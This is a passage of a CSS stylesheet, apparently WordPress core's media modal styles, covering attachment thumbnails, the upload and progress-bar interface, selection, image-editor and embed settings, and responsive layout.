	margin: 0 auto;
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail {
	overflow: hidden;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	opacity: 1;
	transition: opacity .1s;
}

.wp-core-ui .attachment .portrait img {
	max-width: 100%;
}

.wp-core-ui .attachment .landscape img {
	max-height: 100%;
}

.wp-core-ui .attachment .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail img {
	top: 0;
	left: 0;
}

.wp-core-ui .attachment .thumbnail .centered {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	transform: translate( 50%, 50% );
}

.wp-core-ui .attachment .thumbnail .centered img {
	transform: translate( -50%, -50% );
}

.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon {
	transform: translate( -50%, -70% );
}

.wp-core-ui .attachment .filename {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 0;
	overflow: hidden;
	max-height: 100%;
	word-wrap: break-word;
	text-align: center;
	font-weight: 600;
	background: rgba(255, 255, 255, 0.8);
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .filename div {
	padding: 5px 10px;
}

.wp-core-ui .attachment .thumbnail img {
	position: absolute;
}

.wp-core-ui .attachment-close {
	display: block;
	position: absolute;
	top: 5px;
	right: 5px;
	height: 22px;
	width: 22px;
	padding: 0;
	background-color: #fff;
	background-position: -96px 4px;
	border-radius: 3px;
	box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3);
	transition: none;
}

.wp-core-ui .attachment-close:hover,
.wp-core-ui .attachment-close:focus {
	background-position: -36px 4px;
}

.wp-core-ui .attachment .check {
	display: none;
	height: 24px;
	width: 24px;
	padding: 0;
	border: 0;
	position: absolute;
	z-index: 10;
	top: 0;
	right: 0;
	outline: none;
	background: #f0f0f1;
	cursor: pointer;
	box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .check .media-modal-icon {
	display: block;
	background-position: -1px 0;
	height: 15px;
	width: 15px;
	margin: 5px;
}

.wp-core-ui .attachment .check:hover .media-modal-icon {
	background-position: -40px 0;
}

.wp-core-ui .attachment.selected .check {
	display: block;
}

.wp-core-ui .attachment.details .check,
.wp-core-ui .attachment.selected .check:focus,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check {
	background-color: #2271b1;
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 2px #2271b1;
}

.wp-core-ui .attachment.selected .check:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .attachment.details .check .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon {
	background-position: -21px 0;
}

.wp-core-ui .attachment.details .check:hover .media-modal-icon,
.wp-core-ui .attachment.selected .check:focus .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon {
	background-position: -60px 0;
}

.wp-core-ui .media-frame .attachment .describe {
	position: relative;
	display: block;
	width: 100%;
	margin: 0;
	padding: 0 8px;
	font-size: 12px;
	border-radius: 0;
}

/**
 * Attachments Browser
 */
.media-frame .attachments-browser {
	position: relative;
	width: 100%;
	height: 100%;
	overflow: hidden;
}

.attachments-browser .media-toolbar {
	right: 300px;
	height: 72px;
	background: #fff;
}

.attachments-browser.hide-sidebar .media-toolbar {
	right: 0;
}

.attachments-browser .media-toolbar-primary > .media-button,
.attachments-browser .media-toolbar-primary > .media-button-group,
.attachments-browser .media-toolbar-secondary > .media-button,
.attachments-browser .media-toolbar-secondary > .media-button-group {
	margin: 10px 0;
}

.attachments-browser .attachments {
	padding: 2px 8px 8px;
}

.attachments-browser:not(.has-load-more) .attachments,
.attachments-browser.has-load-more .attachments-wrapper,
.attachments-browser .uploader-inline {
	position: absolute;
	top: 72px;
	left: 0;
	right: 300px;
	bottom: 0;
	overflow: auto;
	outline: none;
}

.attachments-browser .uploader-inline.hidden {
	display: none;
}

.attachments-browser .media-toolbar-primary {
	max-width: 33%;
}

.mode-grid .attachments-browser .media-toolbar-primary {
	display: flex;
	align-items: center;
	column-gap: .5rem;
}

.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary {
	display: none;
}

.attachments-browser .media-toolbar-secondary {
	max-width: 66%;
}

.uploader-inline .close {
	background-color: transparent;
	border: 0;
	cursor: pointer;
	height: 48px;
	outline: none;
	padding: 0;
	position: absolute;
	right: 2px;
	text-align: center;
	top: 2px;
	width: 48px;
	z-index: 1;
}

.uploader-inline .close:before {
	font: normal 30px/1 dashicons !important;
	color: #50575e;
	display: inline-block;
	content: "\f335";
	font-weight: 300;
	margin-top: 1px;
}

.uploader-inline .close:focus {
	outline: 1px solid #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.attachments-browser.hide-sidebar .attachments,
.attachments-browser.hide-sidebar .uploader-inline {
	right: 0;
	margin-right: 0;
}

.attachments-browser .instructions {
	display: inline-block;
	margin-top: 16px;
	line-height: 1.38461538;
	font-size: 13px;
	color: #646970;
}

.attachments-browser .no-media {
	padding: 2em 0 0 2em;
}

.more-loaded .attachment:not(.found-media) {
	background: #dcdcde;
}

.load-more-wrapper {
	clear: both;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	justify-content: center;
	padding: 1em 0;
}

.load-more-wrapper .load-more-count {
	min-width: 100%;
	margin: 0 0 1em;
	text-align: center;
}

.load-more-wrapper .load-more {
	margin: 0;
}

/* Needs high specificity. */
.media-frame .load-more-wrapper .load-more + .spinner {
	float: none;
	margin: 0 -30px 0 10px;
}

/* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */
.media-frame .load-more-wrapper .load-more.hidden + .spinner {
	margin: 0;
}

/* Force a new row within the flex container. */
.load-more-wrapper::after {
	content: "";
	min-width: 100%;
	order: 1;
}

.load-more-wrapper .load-more-jump {
	margin: 0 0 0 12px;
}

.attachment.new-media {
	outline: 2px dotted #c3c4c7;
}

.load-more-wrapper {
	clear: both;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	justify-content: center;
	padding: 1em 0;
}

.load-more-wrapper .load-more-count {
	min-width: 100%;
	margin: 0 0 1em;
	text-align: center;
}

.load-more-wrapper .load-more {
	margin: 0;
}

/* Needs high specificity. */
.media-frame .load-more-wrapper .load-more + .spinner {
	float: none;
	margin: 0 -30px 0 10px;
}

/* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */
.media-frame .load-more-wrapper .load-more.hidden + .spinner {
	margin: 0;
}

/* Force a new row within the flex container. */
.load-more-wrapper::after {
	content: "";
	min-width: 100%;
	order: 1;
}

.load-more-wrapper .load-more-jump {
	margin: 0 0 0 12px;
}

/**
 * Progress Bar
 */
.media-progress-bar {
	position: relative;
	height: 10px;
	width: 70%;
	margin: 10px auto;
	border-radius: 10px;
	background: #dcdcde;
	background: rgba(0, 0, 0, 0.1);
}

.media-progress-bar div {
	height: 10px;
	min-width: 20px;
	width: 0;
	background: #2271b1;
	border-radius: 10px;
	transition: width 300ms;
}

.media-uploader-status .media-progress-bar {
	display: none;
	width: 100%;
}

.uploading.media-uploader-status .media-progress-bar {
	display: block;
}

.attachment-preview .media-progress-bar {
	position: absolute;
	top: 50%;
	left: 15%;
	width: 70%;
	margin: -5px 0 0;
}

.media-uploader-status {
	position: relative;
	margin: 0 auto;
	padding-bottom: 10px;
	max-width: 400px;
}

.uploader-inline .media-uploader-status h2 {
	display: none;
}

.media-uploader-status .upload-details {
	display: none;
	font-size: 12px;
	color: #646970;
}

.uploading.media-uploader-status .upload-details {
	display: block;
}

.media-uploader-status .upload-detail-separator {
	padding: 0 4px;
}

.media-uploader-status .upload-count {
	color: #3c434a;
}

.media-uploader-status .upload-dismiss-errors,
.media-uploader-status .upload-errors {
	display: none;
}

.errors.media-uploader-status .upload-dismiss-errors,
.errors.media-uploader-status .upload-errors {
	display: block;
}

.media-uploader-status .upload-dismiss-errors {
	transition: none;
	text-decoration: none;
}

.upload-errors .upload-error {
	padding: 12px;
	margin-bottom: 12px;
	background: #fff;
	border-left: 4px solid #d63638;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
}

.uploader-inline .upload-errors .upload-error {
	padding: 12px 30px;
	background-color: #fcf0f1;
	box-shadow: none;
}

.upload-errors .upload-error-filename {
	font-weight: 600;
}

.upload-errors .upload-error-message {
	display: block;
	padding-top: 8px;
	word-wrap: break-word;
}

/**
 * Window and Editor uploaders used to display "drop zones"
 */
.uploader-window,
.wp-editor-wrap .uploader-editor {
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	text-align: center;
	display: none;
}

.uploader-window {
	position: fixed;
	z-index: 250000;
	opacity: 0; /* Only the inline uploader is animated with JS, the editor one isn't */
	transition: opacity 250ms;
}

.wp-editor-wrap .uploader-editor {
	position: absolute;
	z-index: 99998; /* under the toolbar */
	background: rgba(140, 143, 148, 0.9);
}

.uploader-window,
.wp-editor-wrap .uploader-editor.droppable {
	background: rgba(10, 75, 120, 0.9);
}

.uploader-window-content,
.wp-editor-wrap .uploader-editor-content {
	position: absolute;
	top: 10px;
	left: 10px;
	right: 10px;
	bottom: 10px;
	border: 1px dashed #fff;
}

/* uploader drop-zone title */
.uploader-window h1, /* Back-compat for pre-5.3 */
.uploader-window .uploader-editor-title,
.wp-editor-wrap .uploader-editor .uploader-editor-title {
	position: absolute;
	top: 50%;
	left: 0;
	right: 0;
	transform: translateY(-50%);
	font-size: 3em;
	line-height: 1.3;
	font-weight: 600;
	color: #fff;
	margin: 0;
	padding: 0 10px;
}

.wp-editor-wrap .uploader-editor .uploader-editor-title {
	display: none;
}

.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title {
	display: block;
}

.uploader-window .media-progress-bar {
	margin-top: 20px;
	max-width: 300px;
	background: transparent;
	border-color: #fff;
	display: none;
}

.uploader-window .media-progress-bar div {
	background: #fff;
}

.uploading .uploader-window .media-progress-bar {
	display: block;
}

.media-frame .uploader-inline {
	margin-bottom: 20px;
	padding: 0;
	text-align: center;
}

.uploader-inline-content {
	position: absolute;
	top: 30%;
	left: 0;
	right: 0;
}

.uploader-inline-content .upload-ui {
	margin: 2em 0;
}

.uploader-inline-content .post-upload-ui {
	margin-bottom: 2em;
}

.uploader-inline .has-upload-message .upload-ui {
	margin: 0 0 4em;
}

.uploader-inline h2 {
	font-size: 20px;
	line-height: 1.4;
	font-weight: 400;
	margin: 0;
}

.uploader-inline .has-upload-message .upload-instructions {
	font-size: 14px;
	color: #3c434a;
	font-weight: 400;
}

.uploader-inline .drop-instructions {
	display: none;
}

.supports-drag-drop .uploader-inline .drop-instructions {
	display: block;
}

.uploader-inline p {
	margin: 0.5em 0;
}

.uploader-inline .media-progress-bar {
	display: none;
}

.uploading.uploader-inline .media-progress-bar {
	display: block;
}

.uploader-inline .browser {
	display: inline-block !important;
}

/**
 * Selection
 */
.media-selection {
	position: absolute;
	top: 0;
	left: 0;
	right: 350px;
	height: 60px;
	padding: 0 0 0 16px;
	overflow: hidden;
	white-space: nowrap;
}

.media-selection .selection-info {
	display: inline-block;
	font-size: 12px;
	height: 60px;
	margin-right: 10px;
	vertical-align: top;
}

.media-selection.empty,
.media-selection.editing {
	display: none;
}

.media-selection.one .edit-selection {
	display: none;
}

.media-selection .count {
	display: block;
	padding-top: 12px;
	font-size: 14px;
	line-height: 1.42857142;
	font-weight: 600;
}

.media-selection .button-link {
	float: left;
	padding: 1px 8px;
	margin: 1px 8px 1px -8px;
	line-height: 1.4;
	border-right: 1px solid #dcdcde;
	color: #2271b1;
	text-decoration: none;
}

.media-selection .button-link:hover,
.media-selection .button-link:focus {
	color: #135e96;
}

.media-selection .button-link:last-child {
	border-right: 0;
	margin-right: 0;
}

.selection-info .clear-selection {
	color: #d63638;
}

.selection-info .clear-selection:hover,
.selection-info .clear-selection:focus {
	color: #d63638;
}

.media-selection .selection-view {
	display: inline-block;
	vertical-align: top;
}

.media-selection .attachments {
	display: inline-block;
	height: 48px;
	margin: 6px;
	padding: 0;
	overflow: hidden;
	vertical-align: top;
}

.media-selection .attachment {
	width: 40px;
	padding: 0;
	margin: 4px;
}

.media-selection .attachment .thumbnail {
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
}

.media-selection .attachment .icon {
	width: 50%;
}

.media-selection .attachment-preview {
	box-shadow: none;
	background: none;
}

.wp-core-ui .media-selection .attachment:focus,
.wp-core-ui .media-selection .selected.attachment:focus,
.wp-core-ui .media-selection .attachment.details:focus {
	box-shadow:
		0 0 0 1px #fff,
		0 0 2px 3px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .media-selection .selected.attachment {
	box-shadow: none;
}

.wp-core-ui .media-selection .attachment.details {
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 3px #2271b1;
}

.media-selection:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	width: 25px;
	background-image: linear-gradient(to left,#fff,rgba(255, 255, 255, 0));
}

.media-selection .attachment .filename {
	display: none;
}

/**
 * Spinner
 */
.media-frame .spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	float: right;
	display: inline-block;
	visibility: hidden;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 0;
	vertical-align: middle;
}

.media-frame.mode-grid .spinner {
	margin: 0;
	float: none;
	vertical-align: middle;
}

.media-modal .media-toolbar .spinner {
	float: none;
	vertical-align: bottom;
	margin: 0 0 5px 5px;
}

.media-frame .instructions + .spinner.is-active {
	vertical-align: middle;
}

.media-frame .spinner.is-active {
	visibility: visible;
}

/**
 * Attachment Details
 */
.attachment-details {
	position: relative;
	overflow: auto;
}

.attachment-details .settings-save-status {
	float: right;
	text-transform: none;
	font-weight: 400;
}

.attachment-details .settings-save-status .spinner {
	float: none;
	margin-left: 5px;
}

.attachment-details .settings-save-status .saved {
	display: none;
}

.attachment-details.save-waiting .settings-save-status .spinner {
	visibility: visible;
}

.attachment-details.save-complete .settings-save-status .saved {
	display: inline-block;
}

.attachment-info {
	overflow: hidden;
	min-height: 60px;
	margin-bottom: 16px;
	line-height: 1.5;
	color: #646970;
	border-bottom: 1px solid #dcdcde;
	padding-bottom: 11px;
}

.attachment-info .wp-media-wrapper {
	margin-bottom: 8px;
}

.attachment-info .wp-media-wrapper.wp-audio {
	margin-top: 13px;
}

.attachment-info .filename {
	font-weight: 600;
	color: #3c434a;
	word-wrap: break-word;
}

.attachment-info .thumbnail {
	position: relative;
	float: left;
	max-width: 120px;
	max-height: 120px;
	margin-top: 5px;
	margin-right: 10px;
	margin-bottom: 5px;
}

.uploading .attachment-info .thumbnail {
	width: 120px;
	height: 80px;
	box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1);
}

.uploading .attachment-info .media-progress-bar {
	margin-top: 35px;
}

.attachment-info .thumbnail-image:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
	overflow: hidden;
}

.attachment-info .thumbnail img {
	display: block;
	max-width: 120px;
	max-height: 120px;
	margin: 0 auto;
}

.attachment-info .details {
	float: left;
	font-size: 12px;
	max-width: 100%;
}

.attachment-info .edit-attachment,
.attachment-info .delete-attachment,
.attachment-info .trash-attachment,
.attachment-info .untrash-attachment {
	display: block;
	text-decoration: none;
	white-space: nowrap;
}

.attachment-details.needs-refresh .attachment-info .edit-attachment {
	display: none;
}

.attachment-info .edit-attachment {
	display: block;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment {
	display: inline;
	padding: 0;
	color: #d63638;
}

.media-modal .delete-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:hover,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:hover,
.media-modal .untrash-attachment:focus {
	color: #d63638;
}

/**
 * Attachment Display Settings
 */
.attachment-display-settings {
	width: 100%;
	float: left;
	overflow: hidden;
}

.collection-settings {
	overflow: hidden;
}

.collection-settings .setting input[type="checkbox"] {
	float: left;
	margin-right: 8px;
}

.collection-settings .setting span, /* Back-compat for pre-5.3 */
.collection-settings .setting .name {
	min-width: inherit;
}

/**
 * Image Editor
 */
.media-modal .imgedit-wrap {
	position: static;
}

.media-modal .imgedit-wrap .imgedit-panel-content {
	padding: 16px 16px 0;
	overflow: visible;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-modal .imgedit-wrap .imgedit-save-target {
	margin: 8px 0 24px;
}

.media-modal .imgedit-group {
	background: none;
	border: none;
	box-shadow: none;
	margin: 0;
	padding: 0;
	position: relative; /* RTL fix, #WP29352 */
}

.media-modal .imgedit-group.imgedit-panel-active {
	margin-bottom: 16px;
	padding-bottom: 16px;
}

.media-modal .imgedit-group-top {
	margin: 0;
}

.media-modal .imgedit-group-top h2,
.media-modal .imgedit-group-top h2 .button-link {
	display: inline-block;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 0;
	margin-top: 3px;
}

.media-modal .imgedit-group-top h2 a,
.media-modal .imgedit-group-top h2 .button-link {
	text-decoration: none;
	color: #646970;
}

/* higher specificity than media.css */
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active {
	border: 1px solid transparent;
	margin: 0;
	padding: 0;
	background: transparent;
	color: #2271b1;
	font-size: 20px;
	line-height: 1;
	cursor: pointer;
	box-sizing: content-box;
	box-shadow: none;
}

.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus {
	color: #2271b1;
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle {
	margin-top: -3px;
}

.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle {
	margin-top: -2px;
}

.media-modal .imgedit-help-toggled span.dashicons:before {
	content: "\f142";
}

.media-modal .imgedit-thumbnail-preview {
	margin: 10px 8px 0 0;
}

.imgedit-thumbnail-preview-caption {
	display: block;
}

.media-modal .imgedit-wrap div.updated, /* Back-compat for pre-5.5 */
.media-modal .imgedit-wrap .notice {
	margin: 0 16px;
}

/**
 * Embed from URL and Image Details
 */
.embed-url {
	display: block;
	position: relative;
	padding: 16px;
	margin: 0;
	z-index: 250;
	background: #fff;
	font-size: 18px;
}

.media-frame .embed-url input {
	font-size: 18px;
	line-height: 1.22222222; /* 22px */
	padding: 12px 40px 12px 14px; /* right padding to leave room for the spinner */
	width: 100%;
	min-width: 200px;
	box-shadow: inset 2px 2px 4px -2px rgba(0, 0, 0, 0.1);
}

.media-frame .embed-url input::-ms-clear {
	display: none; /* the "x" in IE 11 conflicts with the spinner */
}

.media-frame .embed-url .spinner {
	position: absolute;
	top: 32px;
	right: 26px;
}

.media-frame .embed-loading .embed-url .spinner {
	visibility: visible;
}

.embed-link-settings,
.embed-media-settings {
	position: absolute;
	top: 82px;
	left: 0;
	right: 0;
	bottom: 0;
	padding: 0 16px;
	overflow: auto;
}

.media-embed .embed-link-settings .link-text {
	margin-top: 0;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.embed-link-settings::after,
.embed-media-settings::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.media-embed .embed-link-settings {
	/* avoid Firefox to give focus to the embed preview container parent */
	overflow: visible;
}

.embed-preview img,
.embed-preview iframe,
.embed-preview embed,
.mejs-container video {
	max-width: 100%;
	vertical-align: middle;
}

.embed-preview a {
	display: inline-block;
}

.embed-preview img {
	display: block;
	height: auto;
}

.mejs-container:focus {
	outline: 1px solid #2271b1;
	box-shadow: 0 0 0 2px #2271b1;
}

.image-details .media-modal {
	left: 140px;
	right: 140px;
}

.image-details .media-frame-title,
.image-details .media-frame-content,
.image-details .media-frame-router {
	left: 0;
}

.image-details .embed-media-settings {
	top: 0;
	overflow: visible;
	padding: 0;
}

.image-details .embed-media-settings::after {
	content: none;
}

.image-details .embed-media-settings,
.image-details .embed-media-settings div {
	box-sizing: border-box;
}

.image-details .column-settings {
	background: #f6f7f7;
	border-right: 1px solid #dcdcde;
	min-height: 100%;
	width: 55%;
	position: absolute;
	top: 0;
	left: 0;
}

.image-details .column-settings h2 {
	margin: 20px;
	padding-top: 20px;
	border-top: 1px solid #dcdcde;
	color: #1d2327;
}

.image-details .column-image {
	width: 45%;
	position: absolute;
	left: 55%;
	top: 0;
}

.image-details .image {
	margin: 20px;
}

.image-details .image img {
	max-width: 100%;
	max-height: 500px;
}

.image-details .advanced-toggle {
	padding: 0;
	color: #646970;
	text-transform: uppercase;
	text-decoration: none;
}

.image-details .advanced-toggle:hover,
.image-details .advanced-toggle:active {
	color: #646970;
}

.image-details .advanced-toggle:after {
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	content: "\f140";
	display: inline-block;
	margin-top: -2px;
}

.image-details .advanced-visible .advanced-toggle:after {
	content: "\f142";
}

.image-details .custom-size label, /* Back-compat for pre-5.3 */
.image-details .custom-size .custom-size-setting {
	display: block;
	float: left;
}

.image-details .custom-size .custom-size-setting label {
	float: none;
}

.image-details .custom-size input {
	width: 5em;
}

.image-details .custom-size .sep {
	float: left;
	margin: 26px 6px 0;
}

.image-details .custom-size .description {
	margin-left: 0;
}

.media-embed .thumbnail {
	max-width: 100%;
	max-height: 200px;
	position: relative;
	float: left;
}

.media-embed .thumbnail img {
	max-height: 200px;
	display: block;
}

.media-embed .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.media-embed .setting,
.media-embed .setting-group {
	width: 100%;
	margin: 10px 0;
	float: left;
	display: block;
	clear: both;
}

.media-embed .setting-group .setting:not(.checkbox-setting) {
	margin: 0;
}

.media-embed .setting.has-description {
	margin-bottom: 5px;
}

.media-embed .description {
	clear: both;
	font-style: normal;
}

.media-embed .content-track + .description {
	line-height: 1.4;
	/* The !important needs to override a high specificity selector from wp-medialement.css */
	max-width: none !important;
}

.media-embed .remove-track {
	margin-bottom: 10px;
}

.image-details .embed-media-settings .setting,
.image-details .embed-media-settings .setting-group {
	float: none;
	width: auto;
}

.image-details .actions {
	margin: 10px 0;
}

.image-details .hidden {
	display: none;
}

.media-embed .setting input[type="text"],
.media-embed .setting textarea,
.media-embed fieldset {
	display: block;
	width: 100%;
	max-width: 400px;
}

.image-details .embed-media-settings .setting input[type="text"],
.image-details .embed-media-settings .setting textarea {
	max-width: inherit;
	width: 70%;
}

.image-details .embed-media-settings .setting input.link-to-custom,
.image-details .embed-media-settings .link-target,
.image-details .embed-media-settings .custom-size,
.image-details .embed-media-settings .setting-group,
.image-details .description {
	margin-left: 27%;
	width: 70%;
}

.image-details .description {
	font-style: normal;
	margin-top: 0;
}

.image-details .embed-media-settings .link-target {
	margin-top: 16px;
}

.image-details .checkbox-label,
.audio-details .checkbox-label,
.video-details .checkbox-label {
	vertical-align: baseline;
}

.media-embed .setting input.hidden,
.media-embed .setting textarea.hidden {
	display: none;
}

.media-embed .setting span, /* Back-compat for pre-5.3 */
.media-embed .setting .name,
.media-embed .setting-group .name {
	display: inline-block;
	font-size: 13px;
	line-height: 1.84615384;
	color: #646970;
}

.media-embed .setting span {
	display: block; /* Back-compat for pre-5.3 */
	width: 200px; /* Back-compat for pre-5.3 */
}

.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
.image-details .embed-media-settings .setting .name {
	float: left;
	width: 25%;
	text-align: right;
	margin: 8px 1% 0;
	line-height: 1.1;
}

/* Buttons group in IE 11. */
.media-frame .setting-group .button-group,
.image-details .embed-media-settings .setting .button-group {
	width: auto;
}

.media-embed-sidebar {
	position: absolute;
	top: 0;
	left: 440px;
}

.advanced-section,
.link-settings {
	margin-top: 10px;
}

/**
 * Button groups fix: can be removed together with the Back-compat for pre-5.3
 */
 .media-frame .setting .button-group {
	 display: flex;
	 margin: 0 !important;
	 max-width: none !important;
 }

/**
 * Localization
 */
.rtl .media-modal,
.rtl .media-frame,
.rtl .media-frame .search,
.rtl .media-frame input[type="text"],
.rtl .media-frame input[type="password"],
.rtl .media-frame input[type="number"],
.rtl .media-frame input[type="search"],
.rtl .media-frame input[type="email"],
.rtl .media-frame input[type="url"],
.rtl .media-frame input[type="tel"],
.rtl .media-frame textarea,
.rtl .media-frame select {
	font-family: Tahoma, sans-serif;
}

:lang(he-il) .rtl .media-modal,
:lang(he-il) .rtl .media-frame,
:lang(he-il) .rtl .media-frame .search,
:lang(he-il) .rtl .media-frame input[type="text"],
:lang(he-il) .rtl .media-frame input[type="password"],
:lang(he-il) .rtl .media-frame input[type="number"],
:lang(he-il) .rtl .media-frame input[type="search"],
:lang(he-il) .rtl .media-frame input[type="email"],
:lang(he-il) .rtl .media-frame input[type="url"],
:lang(he-il) .rtl .media-frame textarea,
:lang(he-il) .rtl .media-frame select {
	font-family: Arial, sans-serif;
}

/**
 * Responsive layout
 */
@media only screen and (max-width: 900px) {
	.media-modal .media-frame-title {
		height: 40px;
	}

	.media-modal .media-frame-title h1 {
		line-height: 2.22222222;
		font-size: 18px;
	}

	.media-modal-close {
		width: 42px;
		height: 42px;
	}

	/* Drop-down menu */
	.media-frame .media-frame-title {
		position: static;
		padding: 0 44px;
		text-align: center;
	}

	.media-frame:not(.hide-menu) .media-frame-router,
	.media-frame:not(.hide-menu) .media-frame-content,
	.media-frame:not(.hide-menu) .media-frame-toolbar {
		left: 0;
	}

	.media-frame:not(.hide-menu) .media-frame-router {
		/* 40 title + (40 - 6) menu toggle button + 6 spacing */
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-content {
		/* 80 + room for the tabs */
		top: 114px;
	}

	.media-frame.hide-router .media-frame-content {
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-menu {
		position: static;
		width: 0;
	}

	.media-frame:not(.hide-menu) .media-menu {
		display: none;
		width: auto;
		max-width: 80%;
		overflow: auto;
		z-index: 2000;
		top: 75px;
		left: 50%;
		transform: translateX(-50%);
		right: auto;
		bottom: auto;
		padding: 5px 0;
		border: 1px solid #c3c4c7;
	}

	.media-frame:not(.hide-menu) .media-menu.visible {
		display: block;
	}

	.media-frame:not(.hide-menu) .media-menu > a {
		padding: 12px 16px;
		font-size: 16px;
	}

	.media-frame:not(.hide-menu) .media-menu .separator {
		margin: 5px 10px;
	}

	/* Visually hide the menu heading keeping it available to assistive technologies. */
	.media-frame-menu-heading {
		clip: rect(1px, 1px, 1px, 1px);
		-webkit-clip-path: inset(50%);
		clip-path: inset(50%);
		height: 1px;
		overflow: hidden;
		padding: 0;
		width: 1px;
		word-wrap: normal !important;
	}

	/* Reveal the menu toggle button. */
	.wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle {
		display: inline-flex;
		align-items: center;
		position: absolute;
		left: 50%;
		transform: translateX(-50%);
		margin: -6px 0 0;
		padding: 0 2px 0 12px;
		font-size: 0.875rem;
		font-weight: 600;
		text-decoration: none;
		background: transparent;
		/* Only for IE11 to vertically align text within the inline-flex button */
		height: 0.1%;
		/* Modern browsers */
		min-height: 40px;
	}

	.wp-core-ui .button.media-frame-menu-toggle:hover,
	.wp-core-ui .button.media-frame-menu-toggle:active {
		background: transparent;
		transform: none;
	}

	.wp-core-ui .button.media-frame-menu-toggle:focus {
		/* Only visible in Windows High Contrast mode */
		outline: 1px solid transparent;
	}
	/* End drop-down menu */

	.media-sidebar {
		width: 230px;
	}

	.options-general-php .crop-content.site-icon {
		margin-right: 262px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.attachments-browser .attachments-wrapper,
	.attachments-browser.has-load-more .attachments-wrapper {
		right: 262px;
	}

	.attachments-browser .media-toolbar {
		height: 82px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.media-frame-content .attachments-browser .attachments-wrapper {
		top: 82px;
	}

	.media-sidebar .setting,
	.attachment-details .setting {
		margin: 6px 0;
	}

	.media-sidebar .setting input,
	.media-sidebar .setting textarea,
	.media-sidebar .setting .name,
	.attachment-details .setting input,
	.attachment-details .setting textarea,
	.attachment-details .setting .name,
	.compat-item label span {
		float: none;
		display: inline-block;
	}

	.media-sidebar .setting span, /* Back-compat for pre-5.3 */
	.attachment-details .setting span, /* Back-compat for pre-5.3 */
	.media-sidebar .checkbox-label-inline {
		float: none;
	}

	.media-sidebar .setting .select-label-inline {
		display: inline;
	}

	.media-sidebar .setting .name,
	.media-sidebar .checkbox-label-inline,
	.attachment-details .setting .name,
	.compat-item label span {
		text-align: inherit;
		min-height: 16px;
		margin: 0;
		padding: 8px 2px 2px;
	}

	/* Needs high specificity. */
	.media-sidebar .setting .copy-to-clipboard-container,
	.attachment-details .attachment-info .copy-to-clipboard-container {
		margin-left: 0;
		padding-top: 0;
	}

	.media-sidebar .setting .copy-attachment-url,
	.attachment-details .attachment-info .copy-attachment-url {
		margin: 0 1px;
	}

